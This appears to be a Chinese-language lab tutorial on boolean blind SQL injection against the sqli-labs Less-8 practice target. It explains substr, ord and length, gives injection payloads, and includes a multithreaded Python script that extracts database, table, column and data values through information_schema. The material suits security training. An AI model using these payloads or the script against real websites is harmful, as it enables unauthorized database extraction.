布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。
phpStudy + mysql + sqlilabs
sqlilabs Less-8 源码分析
从源码中可以看出来数据库查询的数据并没有返回到前端页面中,若果数据查询正确页面返回“You are in …”,查询错误无显示,那么我们可以儿通过页面显示正确或者错误来猜解数据库信息。
?id=1’ --+ 正常显示
?id=1" --+ 正常显示
?id=1’and 1=1 --+ 正常显示
?id=1’ and 1=2 --+ 显示错误
payload:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+
1.substr()函数
substr(string,start,length)函数是截取字符串的函数。
参数string :被截取的字符串
参数start :截取的起始位置(起始位为1)
参数length :从截取位置截取的长度
在盲注时,一般只截取一位,如substr(user(),1,1),这样可以从user函数返回数据第一位开始的偏移位置截取一位,之后我们只要修改位置参数即可获取其他数据。
例:使用substr截取“qwertyui”中前5位字符
2.ord()函数
ord(character)函数是返回一个字符的ASCII码。
参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。
把数据转换成ASCII码可以避免在payload中出现引号,还可以使用二分法方便更快的找到数据正确数据。
例:使用ord函数查询“c”的ASCII码
3.length()函数
length(string)函数是否返回一个字符串的长度。
参数string :为需要输出其长度的字符串。
例:使用length函数判断“qwertyui”长度
1.使用length()猜解数据库名长度。
payload:http://127.0.0.1/sqlilabs/Less-8/?id=1' and length(database())=8--+
长度为5页面返回错误,长度为8页面返回正确,说明数据库名长度为8。
可以通过information_schema表来查询其他数据库名的长度的:
http://127.0.0.1/sqlilabs/Less-8/?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=5 --+
MySQL数据库中版本大于5.0的才有information_schema这个数据库,用于存储所有数据库名,所有数据库表名以及列名的数据库。
infomation_schema数据下的schemata表存储了所有数据库名,tables表存储了所有的表名,columns表存储了所有的字段名。
2.猜解数据库名
知道数据库长度就好猜解出数据库名了
payload:http://127.0.0.1/sqlilabs/Less-8/?id=1’ and ord(substr(database(),1,1))=115 --+
之后通过更改数字来进行猜解。
到115返回正确,说明数据库名第一个字符是ASCII 115,对照ASCII 115是“s”.
还可以使用二分法快速找到数据库名
例:and ord(substr(database(),1,1)) > 90 如果返回正确,就从90-118中见去找。and ord(substr(database(),1,1)) > 104 如果返回正确 就从104-118中间去找 …
这样能更快的找到对应的字符。
猜解数据库第二个字符只需要修改substr函数的第二个参数
and ord(substr(database(),2,1)) > 90
3.Python实现猜解数据库名
数据库名已经猜解出来了,只用了14秒,在遇到一些重复的性的事情时可以交给脚本去跑,这样可以节约大量时间。
这个脚本没有使用多线程运行,在大量IO使用多线程可以提升效率,下面代码加了多线程运行只需2-3秒
import requests
from threading import Thread
import time
def get_dbname(db_len):
global database_name
db_name = ""
for num in range(0,255):
# 构造payload,发起请求。
payload = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and ord(substr(database(),%d,1))=%d" % (db_len+1,num)
res = requests.get(url=payload+"%23").text
# 跟据正确页面返回内容判断是否返回正确页面
if "You are in" in res:
# 返回正确记录正确值并转换成字符
db_name += chr(num)
# 把正确的值插入到列表中,因为是多线程,所以需要根据线程号来对应列表下标
database_name[db_len] = db_name
break
#print(db_name)
# 用来存储返正确数据
database_name= ["","","","","","","",""]
# 用来存储线程
thread_list = []
def main(de_len):
start = time.clock()
for i in range(de_len):
# 根据数据库长度生成对应的线程。并存储到列表中
t = Thread(target=get_dbname,args=(i,))
thread_list.append(t)
t.start()
for s in range(len(thread_list)):
thread_list[s].join()
print(database_name)
end = time.clock()
times = end - start
print("程序运行时间为:%d s"%times)
if __name__ == "__main__":
main(8)
4.猜解表名、字段、数据
数据库名猜解出来了表名、字段、数据就很简单了,依葫芦画瓢就行。
这时候我们可以在写一段脚本代码,让代码来替我们猜解或者使用SQLMAP来帮我们完成。
表名payload:
?id=1 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘库名’),1,1))=110"
字段名payload:
?id=1 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’),1,1))=110"
数据payload:
?id=1 and ord(substr((select group_concat(字段名) from 库名.表名),1,1))=110